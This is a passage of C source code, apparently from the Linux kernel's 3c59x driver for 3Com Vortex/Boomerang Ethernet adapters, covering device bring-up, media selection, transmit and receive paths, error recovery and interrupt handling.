ioaddr + Wn3_Config); } if (dev->if_port == XCVR_MII || dev->if_port == XCVR_NWAY) { int mii_reg1, mii_reg5; EL3WINDOW(4); /* Read BMSR (reg1) only to clear old status. */ mii_reg1 = mdio_read(ioaddr, vp->phys[0], 1); mii_reg5 = mdio_read(ioaddr, vp->phys[0], 5); if (mii_reg5 == 0xffff || mii_reg5 == 0x0000) netif_carrier_off(dev);/* No MII device or no link partner report */ else { netif_carrier_on(dev); if ((mii_reg5 & 0x0100) != 0 /* 100baseTx-FD */ || (mii_reg5 & 0x00C0) == 0x0040) /* 10T-FD, but not 100-HD */ vp->full_duplex = 1; } if (vortex_debug > 1) printk(KERN_INFO "%s: MII #%d status %4.4x, link partner capability %4.4x," " setting %s-duplex.\n", dev->name, vp->phys[0], mii_reg1, mii_reg5, vp->full_duplex ? "full" : "half"); EL3WINDOW(3); } /* Set the full-duplex bit. */ outb(((vp->info1 & 0x8000) || vp->full_duplex ? 0x20 : 0) | (dev->mtu > 1500 ? 0x40 : 0), ioaddr + Wn3_MAC_Ctrl); if (vortex_debug > 1) { printk(KERN_DEBUG "%s: vortex_up() InternalConfig %8.8x.\n", dev->name, config.i); } wait_for_completion(dev, TxReset); wait_for_completion(dev, RxReset); outw(SetStatusEnb | 0x00, ioaddr + EL3_CMD); if (vortex_debug > 1) { EL3WINDOW(4); printk(KERN_DEBUG "%s: vortex_up() irq %d media status %4.4x.\n", dev->name, dev->irq, inw(ioaddr + Wn4_Media)); } /* Set the station address and mask in window 2 each time opened. */ EL3WINDOW(2); for (i = 0; i < 6; i++) outb(dev->dev_addr[i], ioaddr + i); for (; i < 12; i+=2) outw(0, ioaddr + i); if (vp->cb_fn_base) { u_short n = inw(ioaddr + Wn2_ResetOptions); #if 0 /* AKPM: This is done in vortex_probe1, and seems to be wrong anyway... */ /* Inverted LED polarity */ if (device_id != 0x5257) n |= 0x0010; #endif /* Inverted polarity of MII power bit */ if ((device_id == 0x6560) || (device_id == 0x6562) || (device_id == 0x5257)) n |= 0x4000; outw(n, ioaddr + Wn2_ResetOptions); } if (dev->if_port == XCVR_10base2) /* Start the thinnet transceiver. We should really wait 50ms...*/ outw(StartCoax, ioaddr + EL3_CMD); if (dev->if_port != XCVR_NWAY) { EL3WINDOW(4); outw((inw(ioaddr + Wn4_Media) & ~(Media_10TP|Media_SQE)) | media_tbl[dev->if_port].media_bits, ioaddr + Wn4_Media); } /* Switch to the stats window, and clear all stats by reading. */ outw(StatsDisable, ioaddr + EL3_CMD); EL3WINDOW(6); for (i = 0; i < 10; i++) inb(ioaddr + i); inw(ioaddr + 10); inw(ioaddr + 12); /* New: On the Vortex we must also clear the BadSSD counter. */ EL3WINDOW(4); inb(ioaddr + 12); /* ..and on the Boomerang we enable the extra statistics bits. */ outw(0x0040, ioaddr + Wn4_NetDiag); /* Switch to register set 7 for normal use. */ EL3WINDOW(7); if (vp->full_bus_master_rx) { /* Boomerang bus master. */ vp->cur_rx = vp->dirty_rx = 0; /* Initialize the RxEarly register as recommended. */ outw(SetRxThreshold + (1536>>2), ioaddr + EL3_CMD); outl(0x0020, ioaddr + PktStatus); outl(vp->rx_ring_dma, ioaddr + UpListPtr); } if (vp->full_bus_master_tx) { /* Boomerang bus master Tx. */ dev->hard_start_xmit = &boomerang_start_xmit; vp->cur_tx = vp->dirty_tx = 0; outb(PKT_BUF_SZ>>8, ioaddr + TxFreeThreshold); /* Room for a packet. */ /* Clear the Rx, Tx rings. */ for (i = 0; i < RX_RING_SIZE; i++) /* AKPM: this is done in vortex_open, too */ vp->rx_ring[i].status = 0; for (i = 0; i < TX_RING_SIZE; i++) vp->tx_skbuff[i] = 0; outl(0, ioaddr + DownListPtr); } /* Set receiver mode: presumably accept b-case and phys addr only. */ set_rx_mode(dev); outw(StatsEnable, ioaddr + EL3_CMD); /* Turn on statistics. */ netif_start_queue (dev); outw(RxEnable, ioaddr + EL3_CMD); /* Enable the receiver. */ outw(TxEnable, ioaddr + EL3_CMD); /* Enable transmitter. */ /* Allow status bits to be seen. */ vp->status_enable = SetStatusEnb | HostError|IntReq|StatsFull|TxComplete| (vp->full_bus_master_tx ? DownComplete : TxAvailable) | (vp->full_bus_master_rx ? UpComplete : RxComplete) | (vp->bus_master ? DMADone : 0); vp->intr_enable = SetIntrEnb | IntLatch | TxAvailable | (vp->full_bus_master_rx ? 0 : RxComplete) | StatsFull | HostError | TxComplete | IntReq | (vp->bus_master ? DMADone : 0) | UpComplete | DownComplete; outw(vp->status_enable, ioaddr + EL3_CMD); /* Ack all pending events, and set active indicator mask. */ outw(AckIntr | IntLatch | TxAvailable | RxEarly | IntReq, ioaddr + EL3_CMD); outw(vp->intr_enable, ioaddr + EL3_CMD); if (vp->cb_fn_base) /* The PCMCIA people are idiots. */ writel(0x8000, vp->cb_fn_base + 4); if (extra_reset) { /* AKPM: unjam the 3CCFE575CT */ wait_for_completion(dev, TxReset); if (vp->full_bus_master_tx) { outb(PKT_BUF_SZ>>8, ioaddr + TxFreeThreshold); outw(DownUnstall, ioaddr + EL3_CMD); } outw(TxEnable, ioaddr + EL3_CMD); } } static int vortex_open(struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; int i; int retval; MOD_INC_USE_COUNT; /* Use the now-standard shared IRQ implementation. */ if (request_irq(dev->irq, vp->full_bus_master_rx ? &boomerang_interrupt : &vortex_interrupt, SA_SHIRQ, dev->name, dev)) { retval = -EAGAIN; goto out; } if (vp->full_bus_master_rx) { /* Boomerang bus master. */ if (vortex_debug > 2) printk(KERN_DEBUG "%s: Filling in the Rx ring.\n", dev->name); for (i = 0; i < RX_RING_SIZE; i++) { struct sk_buff *skb; vp->rx_ring[i].next = cpu_to_le32(vp->rx_ring_dma + sizeof(struct boom_rx_desc) * (i+1)); vp->rx_ring[i].status = 0; /* Clear complete bit. */ vp->rx_ring[i].length = cpu_to_le32(PKT_BUF_SZ | LAST_FRAG); skb = dev_alloc_skb(PKT_BUF_SZ); vp->rx_skbuff[i] = skb; if (skb == NULL) break; /* Bad news! */ skb->dev = dev; /* Mark as being used by this device. */ skb_reserve(skb, 2); /* Align IP on 16 byte boundaries */ vp->rx_ring[i].addr = cpu_to_le32(pci_map_single(vp->pdev, skb->tail, PKT_BUF_SZ, PCI_DMA_FROMDEVICE)); } /* Wrap the ring. */ vp->rx_ring[i-1].next = cpu_to_le32(vp->rx_ring_dma); } vortex_up(dev); vp->open = 1; return 0; out: MOD_DEC_USE_COUNT; if (vortex_debug > 1) printk(KERN_ERR PFX "vortex_open() fails: returning %d\n", retval); return retval; } static void vortex_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; int next_tick = TX_EXPIRE; int ok = 0; int media_status, mii_status, old_window; if (vortex_debug > 1) printk(KERN_DEBUG "%s: Media selection timer tick happened, %s.\n", dev->name, media_tbl[dev->if_port].name); disable_irq(dev->irq); old_window = inw(ioaddr + EL3_CMD) >> 13; EL3WINDOW(4); media_status = inw(ioaddr + Wn4_Media); switch (dev->if_port) { case XCVR_10baseT: case XCVR_100baseTx: case XCVR_100baseFx: if (media_status & Media_LnkBeat) { ok = 1; netif_carrier_on(dev); if (vortex_debug > 1) printk(KERN_DEBUG "%s: Media %s has link beat, %x.\n", dev->name, media_tbl[dev->if_port].name, media_status); } else { netif_carrier_off(dev); if (vortex_debug > 1) printk(KERN_DEBUG "%s: Media %s has no link beat, %x.\n", dev->name, media_tbl[dev->if_port].name, media_status); } break; case XCVR_MII: case XCVR_NWAY: { unsigned long flags; spin_lock_irqsave(&vp->lock, flags); /* AKPM: protect mdio state */ if (media_status & Media_LnkBeat) { netif_carrier_on(dev); } else { netif_carrier_off(dev); } mii_status = mdio_read(ioaddr, vp->phys[0], 1); ok = 1; if (vortex_debug > 1) printk(KERN_DEBUG "%s: MII transceiver has status %4.4x.\n", dev->name, mii_status); if (mii_status & 0x0004) { int mii_reg5 = mdio_read(ioaddr, vp->phys[0], 5); if (! vp->force_fd && mii_reg5 != 0xffff) { int duplex = (mii_reg5&0x0100) || (mii_reg5 & 0x01C0) == 0x0040; if (vp->full_duplex != duplex) { vp->full_duplex = duplex; printk(KERN_INFO "%s: Setting %s-duplex based on MII " "#%d link partner capability of %4.4x.\n", dev->name, vp->full_duplex ? "full" : "half", vp->phys[0], mii_reg5); /* Set the full-duplex bit. */ EL3WINDOW(3); /* AKPM: this was missing from 2.3.99 3c59x.c! */ outb((vp->full_duplex ? 0x20 : 0) | (dev->mtu > 1500 ? 0x40 : 0), ioaddr + Wn3_MAC_Ctrl); if (vortex_debug > 1) printk(KERN_DEBUG "Setting duplex in Wn3_MAC_Ctrl\n"); /* AKPM: bug: should reset Tx and Rx after setting Duplex. Page 180 */ } next_tick = TX_EXPIRE; } } spin_unlock_irqrestore(&vp->lock, flags); } break; default: /* Other media types handled by Tx timeouts. */ if (vortex_debug > 1) printk(KERN_DEBUG "%s: Media %s has no indication, %x.\n", dev->name, media_tbl[dev->if_port].name, media_status); ok = 1; } if ( ! ok) { union wn3_config config; do { dev->if_port = media_tbl[dev->if_port].next; } while ( ! (vp->available_media & media_tbl[dev->if_port].mask)); if (dev->if_port == XCVR_Default) { /* Go back to default. */ dev->if_port = vp->default_media; if (vortex_debug > 1) printk(KERN_DEBUG "%s: Media selection failing, using default " "%s port.\n", dev->name, media_tbl[dev->if_port].name); } else { if (vortex_debug > 1) printk(KERN_DEBUG "%s: Media selection failed, now trying " "%s port.\n", dev->name, media_tbl[dev->if_port].name); next_tick = TX_EXPIRE; // next_tick = media_tbl[dev->if_port].wait; } outw((media_status & ~(Media_10TP|Media_SQE)) | media_tbl[dev->if_port].media_bits, ioaddr + Wn4_Media); EL3WINDOW(3); config.i = inl(ioaddr + Wn3_Config); config.u.xcvr = dev->if_port; outl(config.i, ioaddr + Wn3_Config); outw(dev->if_port == XCVR_10base2 ? StartCoax : StopCoax, ioaddr + EL3_CMD); if (vortex_debug > 1) printk(KERN_DEBUG "wrote 0x%08x to Wn3_Config\n", config.i); /* AKPM: FIXME: Should reset Rx & Tx here. P60 of 3c90xc.pdf */ } EL3WINDOW(old_window); enable_irq(dev->irq); if (vortex_debug > 1) printk(KERN_DEBUG "%s: Media selection timer finished, %s.\n", dev->name, media_tbl[dev->if_port].name); vp->timer.expires = RUN_AT(next_tick); add_timer(&vp->timer); if (vp->deferred) outw(FakeIntr, ioaddr + EL3_CMD); return; } static void vortex_tx_timeout(struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; printk(KERN_ERR "%s: transmit timed out, tx_status %2.2x status %4.4x.\n", dev->name, inb(ioaddr + TxStatus), inw(ioaddr + EL3_STATUS)); /* Slight code bloat to be user friendly. */ if ((inb(ioaddr + TxStatus) & 0x88) == 0x88) printk(KERN_ERR "%s: Transmitter encountered 16 collisions --" " network cable problem?\n", dev->name); if (inw(ioaddr + EL3_STATUS) & IntLatch) { printk(KERN_ERR "%s: Interrupt posted but not delivered --" " IRQ blocked by another device?\n", dev->name); /* Bad idea here.. but we might as well handle a few events. */ { /* * AKPM: block interrupts because vortex_interrupt * does a bare spin_lock() */ unsigned long flags; local_irq_save(flags); if (vp->full_bus_master_tx) boomerang_interrupt(dev->irq, dev, 0); else vortex_interrupt(dev->irq, dev, 0); local_irq_restore(flags); } } if (vortex_debug > 1) dump_tx_ring(dev); wait_for_completion(dev, TxReset); vp->stats.tx_errors++; if (vp->full_bus_master_tx) { if (vortex_debug > 0) printk(KERN_DEBUG "%s: Resetting the Tx ring pointer.\n", dev->name); if (vp->cur_tx - vp->dirty_tx > 0 && inl(ioaddr + DownListPtr) == 0) outl(vp->tx_ring_dma + (vp->dirty_tx % TX_RING_SIZE) * sizeof(struct boom_tx_desc), ioaddr + DownListPtr); if (vp->tx_full && (vp->cur_tx - vp->dirty_tx <= TX_RING_SIZE - 1)) { vp->tx_full = 0; netif_wake_queue (dev); } if (vp->tx_full) netif_stop_queue (dev); outb(PKT_BUF_SZ>>8, ioaddr + TxFreeThreshold); outw(DownUnstall, ioaddr + EL3_CMD); } else vp->stats.tx_dropped++; /* Issue Tx Enable */ outw(TxEnable, ioaddr + EL3_CMD); dev->trans_start = jiffies; /* Switch to register set 7 for normal use. */ EL3WINDOW(7); } /* * Handle uncommon interrupt sources. This is a separate routine to minimize * the cache impact. */ static void vortex_error(struct net_device *dev, int status) { struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; int do_tx_reset = 0; unsigned char tx_status = 0; if (vortex_debug > 2) { printk(KERN_DEBUG "%s: vortex_error(), status=0x%x\n", dev->name, status); } if (status & TxComplete) { /* Really "TxError" for us. */ tx_status = inb(ioaddr + TxStatus); /* Presumably a tx-timeout. We must merely re-enable. */ if (vortex_debug > 2 || (tx_status != 0x88 && vortex_debug > 0)) { printk(KERN_DEBUG"%s: Transmit error, Tx status register %2.2x.\n", dev->name, tx_status); dump_tx_ring(dev); } if (tx_status & 0x14) vp->stats.tx_fifo_errors++; if (tx_status & 0x38) vp->stats.tx_aborted_errors++; outb(0, ioaddr + TxStatus); if (tx_status & 0x38) /* AKPM: tx reset after 16 collisions, despite what the manual says */ do_tx_reset = 1; else /* Merely re-enable the transmitter. */ outw(TxEnable, ioaddr + EL3_CMD); } if (status & RxEarly) { /* Rx early is unused. */ vortex_rx(dev); outw(AckIntr | RxEarly, ioaddr + EL3_CMD); } if (status & StatsFull) { /* Empty statistics. */ static int DoneDidThat = 0; if (vortex_debug > 4) printk(KERN_DEBUG "%s: Updating stats.\n", dev->name); update_stats(ioaddr, dev); /* HACK: Disable statistics as an interrupt source. */ /* This occurs when we have the wrong media type! */ if (DoneDidThat == 0 && inw(ioaddr + EL3_STATUS) & StatsFull) { printk(KERN_WARNING "%s: Updating statistics failed, disabling " "stats as an interrupt source.\n", dev->name); EL3WINDOW(5); outw(SetIntrEnb | (inw(ioaddr + 10) & ~StatsFull), ioaddr + EL3_CMD); vp->intr_enable &= ~StatsFull; EL3WINDOW(7); DoneDidThat++; } } if (status & IntReq) { /* Restore all interrupt sources. */ outw(vp->status_enable, ioaddr + EL3_CMD); outw(vp->intr_enable, ioaddr + EL3_CMD); } if (status & HostError) { u16 fifo_diag; EL3WINDOW(4); fifo_diag = inw(ioaddr + Wn4_FIFODiag); printk(KERN_ERR "%s: Host error, FIFO diagnostic register %4.4x.\n", dev->name, fifo_diag); /* Adapter failure requires Tx/Rx reset and reinit. */ if (vp->full_bus_master_tx) { /* In this case, blow the card away */ vortex_down(dev); wait_for_completion(dev, TotalReset | 0xff); vortex_up(dev); } else if (fifo_diag & 0x0400) do_tx_reset = 1; if (fifo_diag & 0x3000) { wait_for_completion(dev, RxReset); /* Set the Rx filter to the current state. */ set_rx_mode(dev); outw(RxEnable, ioaddr + EL3_CMD); /* Re-enable the receiver. */ outw(AckIntr | HostError, ioaddr + EL3_CMD); } } /* * Black magic. If we're resetting the transmitter, remember the current downlist * pointer and restore it afterwards. We can't usr cur_tx because that could * lag the actual hardware index. */ if (do_tx_reset) { if (vp->full_bus_master_tx) { unsigned long old_down_list_ptr; wait_for_completion(dev, DownStall); old_down_list_ptr = inl(ioaddr + DownListPtr); wait_for_completion(dev, TxReset); outw(TxEnable, ioaddr + EL3_CMD); /* Restart DMA if necessary */ outl(old_down_list_ptr, ioaddr + DownListPtr); if (vortex_debug > 2) printk(KERN_DEBUG "reset DMA to 0x%08x\n", inl(ioaddr + DownListPtr)); outw(DownUnstall, ioaddr + EL3_CMD); /* * Here we make a single attempt to prevent a timeout by * restarting the timer if we think that the ISR has a good * chance of unjamming things. */ if (vp->tx_reset_resume == 0 && vp->tx_full) { vp->tx_reset_resume = 1; dev->trans_start = jiffies; } } else { wait_for_completion(dev, TxReset); outw(TxEnable, ioaddr + EL3_CMD); } } } static int vortex_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; /* Put out the doubleword header... */ outl(skb->len, ioaddr + TX_FIFO); if (vp->bus_master) { /* Set the bus-master controller to transfer the packet. */ int len = (skb->len + 3) & ~3; outl( vp->tx_skb_dma = pci_map_single(vp->pdev, skb->data, len, PCI_DMA_TODEVICE), ioaddr + Wn7_MasterAddr); outw(len, ioaddr + Wn7_MasterLen); vp->tx_skb = skb; outw(StartDMADown, ioaddr + EL3_CMD); /* netif_wake_queue() will be called at the DMADone interrupt. */ } else { /* ... and the packet rounded to a doubleword. */ outsl(ioaddr + TX_FIFO, skb->data, (skb->len + 3) >> 2); dev_kfree_skb (skb); if (inw(ioaddr + TxFree) > 1536) { netif_start_queue (dev); /* AKPM: redundant? */ } else { /* Interrupt us when the FIFO has room for max-sized packet. */ netif_stop_queue(dev); outw(SetTxThreshold + (1536>>2), ioaddr + EL3_CMD); } } dev->trans_start = jiffies; /* Clear the Tx status stack. */ { int tx_status; int i = 32; while (--i > 0 && (tx_status = inb(ioaddr + TxStatus)) > 0) { if (tx_status & 0x3C) { /* A Tx-disabling error occurred. */ if (vortex_debug > 2) printk(KERN_DEBUG "%s: Tx error, status %2.2x.\n", dev->name, tx_status); if (tx_status & 0x04) vp->stats.tx_fifo_errors++; if (tx_status & 0x38) vp->stats.tx_aborted_errors++; if (tx_status & 0x30) { wait_for_completion(dev, TxReset); } outw(TxEnable, ioaddr + EL3_CMD); } outb(0x00, ioaddr + TxStatus); /* Pop the status stack. */ } } return 0; } static int boomerang_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; /* Calculate the next Tx descriptor entry. */ int entry = vp->cur_tx % TX_RING_SIZE; struct boom_tx_desc *prev_entry = &vp->tx_ring[(vp->cur_tx-1) % TX_RING_SIZE]; unsigned long flags; if (vortex_debug > 6) printk(KERN_DEBUG "boomerang_start_xmit()\n"); if (vortex_debug > 3) printk(KERN_DEBUG "%s: Trying to send a packet, Tx index %d.\n", dev->name, vp->cur_tx); if (vp->tx_full) { if (vortex_debug > 0) printk(KERN_WARNING "%s: Tx Ring full, refusing to send buffer.\n", dev->name); return 1; } vp->tx_skbuff[entry] = skb; vp->tx_ring[entry].next = 0; vp->tx_ring[entry].addr = cpu_to_le32(pci_map_single(vp->pdev, skb->data, skb->len, PCI_DMA_TODEVICE)); vp->tx_ring[entry].length = cpu_to_le32(skb->len | LAST_FRAG); vp->tx_ring[entry].status = cpu_to_le32(skb->len | TxIntrUploaded); spin_lock_irqsave(&vp->lock, flags); /* Wait for the stall to complete. */ wait_for_completion(dev, DownStall); prev_entry->next = cpu_to_le32(vp->tx_ring_dma + entry * sizeof(struct boom_tx_desc)); if (inl(ioaddr + DownListPtr) == 0) { outl(vp->tx_ring_dma + entry * sizeof(struct boom_tx_desc), ioaddr + DownListPtr); queued_packet++; } vp->cur_tx++; if (vp->cur_tx - vp->dirty_tx > TX_RING_SIZE - 1) { vp->tx_full = 1; netif_stop_queue (dev); } else { /* Clear previous interrupt enable. */ #if defined(tx_interrupt_mitigation) prev_entry->status &= cpu_to_le32(~TxIntrUploaded); #endif /* netif_start_queue (dev); */ /* AKPM: redundant? */ } outw(DownUnstall, ioaddr + EL3_CMD); vp->tx_reset_resume = 0; spin_unlock_irqrestore(&vp->lock, flags); dev->trans_start = jiffies; return 0; } /* The interrupt handler does all of the Rx thread work and cleans up after the Tx thread. */ /* * This is the ISR for the vortex series chips. * full_bus_master_tx == 0 && full_bus_master_rx == 0 */ static void vortex_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = dev_id; struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr; int status; int work_done = max_interrupt_work; spin_lock(&vp->lock); ioaddr = dev->base_addr; status = inw(ioaddr + EL3_STATUS); if (vortex_debug > 6) printk("vortex_interrupt(). status=0x%4x\n", status); if (status & IntReq) { status |= vp->deferred; vp->deferred = 0; } if (status == 0xffff) /* AKPM: h/w no longer present (hotplug)? */ goto handler_exit; if (vortex_debug > 4) printk(KERN_DEBUG "%s: interrupt, status %4.4x, latency %d ticks.\n", dev->name, status, inb(ioaddr + Timer)); do { if (vortex_debug > 5) printk(KERN_DEBUG "%s: In interrupt loop, status %4.4x.\n", dev->name, status); if (status & RxComplete) vortex_rx(dev); if (status & TxAvailable) { if (vortex_debug > 5) printk(KERN_DEBUG " TX room bit was handled.\n"); /* There's room in the FIFO for a full-sized packet. */ outw(AckIntr | TxAvailable, ioaddr + EL3_CMD); netif_wake_queue (dev); } if (status & DMADone) { if (inw(ioaddr + Wn7_MasterStatus) & 0x1000) { outw(0x1000, ioaddr + Wn7_MasterStatus); /* Ack the event. */ pci_unmap_single(vp->pdev, vp->tx_skb_dma, (vp->tx_skb->len + 3) & ~3, PCI_DMA_TODEVICE); dev_kfree_skb_irq(vp->tx_skb); /* Release the transferred buffer */ if (inw(ioaddr + TxFree) > 1536) { /* * AKPM: FIXME: I don't think we need this. If the queue was stopped due to * insufficient FIFO room, the TxAvailable test will succeed and call * netif_wake_queue() */ netif_wake_queue(dev); } else { /* Interrupt when FIFO has room for max-sized packet. */ outw(SetTxThreshold + (1536>>2), ioaddr + EL3_CMD); netif_stop_queue(dev); /* AKPM: This is new */ } } } /* Check for all uncommon interrupts at once. */ if (status & (HostError | RxEarly | StatsFull | TxComplete | IntReq)) { if (status == 0xffff) break; vortex_error(dev, status); } if (--work_done < 0) { printk(KERN_WARNING "%s: Too much work in interrupt, status " "%4.4x.\n", dev->name, status); /* Disable all pending interrupts. */ do { vp->deferred |= status; outw(SetStatusEnb | (~vp->deferred & vp->status_enable), ioaddr + EL3_CMD); outw(AckIntr | (vp->deferred & 0x7ff), ioaddr + EL3_CMD); } while ((status = inw(ioaddr + EL3_CMD)) & IntLatch); /* The timer will reenable interrupts. */ mod_timer(&vp->timer, jiffies + 1*HZ); break; } /* Acknowledge the IRQ. */ outw(AckIntr | IntReq | IntLatch, ioaddr + EL3_CMD); if (vp->cb_fn_base) /* The PCMCIA people are idiots. */ writel(0x8000, vp->cb_fn_base + 4); } while ((status = inw(ioaddr + EL3_STATUS)) & (IntLatch | RxComplete)); if (vortex_debug > 4) printk(KERN_DEBUG "%s: exiting interrupt, status %4.4x.\n", dev->name, status); handler_exit: spin_unlock(&vp->lock); } /* * This is the ISR for the boomerang series chips. * full_bus_master_tx == 1 && full_bus_master_rx == 1 */ static void boomerang_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = dev_id; struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr; int status; int work_done = max_interrupt_work; spin_lock(&vp->lock); ioaddr = dev->base_addr; status = inw(ioaddr + EL3_STATUS); if (vortex_debug > 6) printk(KERN_DEBUG "boomerang_interrupt. status=0x%4x\n", status); if (status == 0xffff) { /* AKPM: h/w no longer present (hotplug)? */ if (vortex_debug > 1) printk(KERN_DEBUG "boomerang_interrupt(1): status = 0xffff\n"); goto handler_exit; } if (status & IntReq) { status |= vp->deferred; vp->deferred = 0; } if (vortex_debug > 4) printk(KERN_DEBUG "%s: interrupt, status %4.4x, latency %d ticks.\n", dev->name, status, inb(ioaddr + Timer)); do { if (vortex_debug > 5) printk(KERN_DEBUG "%s: In interrupt loop, status %4.4x.\n", dev->name, status); if (status & UpComplete) { outw(AckIntr | UpComplete, ioaddr + EL3_CMD); if (vortex_debug > 5) printk(KERN_DEBUG "boomerang_interrupt->boomerang_rx\n"); boomerang_rx(dev); } if (status & DownComplete) { unsigned int dirty_tx = vp->dirty_tx; outw(AckIntr | DownComplete, ioaddr + EL3_CMD); while (vp->cur_tx - dirty_tx > 0) { int entry = dirty_tx % TX_RING_SIZE; if (inl(ioaddr + DownListPtr) == vp->tx_ring_dma + entry * sizeof(struct boom_tx_desc)) break; /* It still hasn't been processed. */ if (vp->tx_skbuff[entry]) { struct sk_buff *skb = vp->tx_skbuff[entry]; pci_unmap_single(vp->pdev, le32_to_cpu(vp->tx_ring[entry].addr), skb->len, PCI_DMA_TODEVICE); dev_kfree_skb_irq(skb); vp->tx_skbuff[entry] = 0; } else { printk(KERN_DEBUG "boomerang_interrupt: no skb!\n"); } /* vp->stats.tx_packets++; Counted below. */ dirty_tx++; } vp->dirty_tx = dirty_tx; if (vp->tx_full && (vp->cur_tx - dirty_tx <= TX_RING_SIZE - 1)) { if (vortex_debug > 6) printk(KERN_DEBUG "boomerang_interrupt: clearing tx_full\n"); vp->tx_full = 0; netif_wake_queue (dev); } } if (vp->tx_full) netif_stop_queue (dev); /* Check for all uncommon interrupts at once. */ if (status & (HostError | RxEarly | StatsFull | TxComplete | IntReq)) vortex_error(dev, status); if (--work_done < 0) { printk(KERN_WARNING "%s: Too much work in interrupt, status " "%4.4x.\n", dev->name, status); /* Disable all pending interrupts. */ do { vp->deferred |= status; outw(SetStatusEnb | (~vp->deferred & vp->status_enable), ioaddr + EL3_CMD); outw(AckIntr | (vp->deferred & 0x7ff), ioaddr + EL3_CMD); } while ((status = inw(ioaddr + EL3_CMD)) & IntLatch); /* The timer will reenable interrupts. */ mod_timer(&vp->timer, jiffies + 1*HZ); break; } /* Acknowledge the IRQ. */ outw(AckIntr | IntReq | IntLatch, ioaddr + EL3_CMD); if (vp->cb_fn_base) /* The PCMCIA people are idiots. */ writel(0x8000, vp->cb_fn_base + 4); } while ((status = inw(ioaddr + EL3_STATUS)) & (IntLatch | RxComplete)); if (vortex_debug > 4) printk(KERN_DEBUG "%s: exiting interrupt, status %4.4x.\n", dev->name, status); handler_exit: spin_unlock(&vp->lock); } static int vortex_rx(struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; long ioaddr = dev->base_addr; int i; short rx_status; if (vortex_debug > 5) printk(KERN_DEBUG "vortex_rx(): status %4.4x, rx_status %4.4x.\n", inw(ioaddr+EL3_STATUS), inw(ioaddr+RxStatus)); while ((rx_status = inw(ioaddr + RxStatus)) > 0) { if (rx_status & 0x4000) { /* Error, update stats. */ unsigned char rx_error = inb(ioaddr + RxErrors); if (vortex_debug > 2) printk(KERN_DEBUG " Rx error: status %2.2x.\n", rx_error); vp->stats.rx_errors++; if (rx_error & 0x01) vp->stats.rx_over_errors++; if (rx_error & 0x02) vp->stats.rx_length_errors++; if (rx_error & 0x04) vp->stats.rx_frame_errors++; if (rx_error & 0x08) vp->stats.rx_crc_errors++; if (rx_error & 0x10) vp->stats.rx_length_errors++; } else { /* The packet length: up to 4.5K!. */ int pkt_len = rx_status & 0x1fff; struct sk_buff *skb; skb = dev_alloc_skb(pkt_len + 5); if (vortex_debug > 4) printk(KERN_DEBUG "Receiving packet size %d status %4.4x.\n", pkt_len, rx_status); if (skb != NULL) { skb->dev = dev; skb_reserve(skb, 2); /* Align IP on 16 byte boundaries */ /* 'skb_put()' points to the start of sk_buff data area. */ if (vp->bus_master && ! (inw(ioaddr + Wn7_MasterStatus) & 0x8000)) { dma_addr_t dma = pci_map_single(vp->pdev, skb_put(skb, pkt_len), pkt_len, PCI_DMA_FROMDEVICE); outl(dma, ioaddr + Wn7_MasterAddr); outw((skb->len + 3) & ~3, ioaddr + Wn7_MasterLen); outw(StartDMAUp, ioaddr + EL3_CMD); while (inw(ioaddr + Wn7_MasterStatus) & 0x8000) ; pci_unmap_single(vp->pdev, dma, pkt_len, PCI_DMA_FROMDEVICE); } else { insl(ioaddr + RX_FIFO, skb_put(skb, pkt_len), (pkt_len + 3) >> 2); } outw(RxDiscard, ioaddr + EL3_CMD); /* Pop top Rx packet. */ skb->protocol = eth_type_trans(skb, dev); netif_rx(skb); dev->last_rx = jiffies; vp->stats.rx_packets++; /* Wait a limited time to go to next packet. */ for (i = 200; i >= 0; i--) if ( ! (inw(ioaddr + EL3_STATUS) & CmdInProgress)) break; continue; } else if (vortex_debug > 0) printk(KERN_NOTICE "%s: No memory to allocate a sk_buff of " "size %d.\n", dev->name, pkt_len); } vp->stats.rx_dropped++; wait_for_completion(dev, RxDiscard); } return 0; } static int boomerang_rx(struct net_device *dev) { struct vortex_private *vp = (struct vortex_private *)dev->priv; int entry = vp->cur_rx % RX_RING_SIZE; long ioaddr = dev->base_addr; int rx_status; int rx_work_limit = vp->dirty_rx + RX_RING_SIZE - vp->cur_rx; if (vortex_debug > 5) printk(KERN_DEBUG "boomerang_rx(): status %4.4x\n", inw(ioaddr+EL3_STATUS)); while ((rx_status = le32_to_cpu(vp->rx_ring[entry].status)) & RxDComplete){ if (--rx_work_limit < 0) break; if (rx_status & RxDError) { /* Error, update stats. */ unsigned char rx_error = rx_status >> 16; if (vortex_debug > 2) printk(KERN_DEBUG " Rx error: status %2.2x.\n", rx_error); vp->stats.rx_errors++; if (rx_error & 0x01) vp->stats.rx_over_errors++; if (rx_error & 0x02) vp->stats.rx_length_errors++; if (rx_error & 0x04) vp->stats.rx_frame_errors++; if (rx_error & 0x08) vp->stats.rx_crc_errors++; if (rx_error & 0x10) vp->stats.rx_length_errors++; } else { /* The packet length: up to 4.5K!. */ int pkt_len = rx_status & 0x1fff; struct sk_buff *skb; dma_addr_t dma = le32_to_cpu(vp->rx_ring[entry].addr); vp->stats.rx_bytes += pkt_len; if (vortex_debug > 4) printk(KERN_DEBUG "Receiving packet size %d status %4.4x.\n", pkt_len, rx_status); /* Check if the packet is long enough to just accept without copying to a properly sized skbuff. */ if (pkt_len < rx_copybreak && (skb = dev_alloc_skb(pkt_len + 2)) != 0) { skb->dev = dev; skb_reserve(skb, 2); /* Align IP on 16 byte boundaries */ pci_dma_sync_single(vp->pdev, dma, PKT_BUF_SZ, PCI_DMA_FROMDEVICE); /* 'skb_put()' points to the start of sk_buff data area. */ memcpy(skb_put(skb, pkt_len), 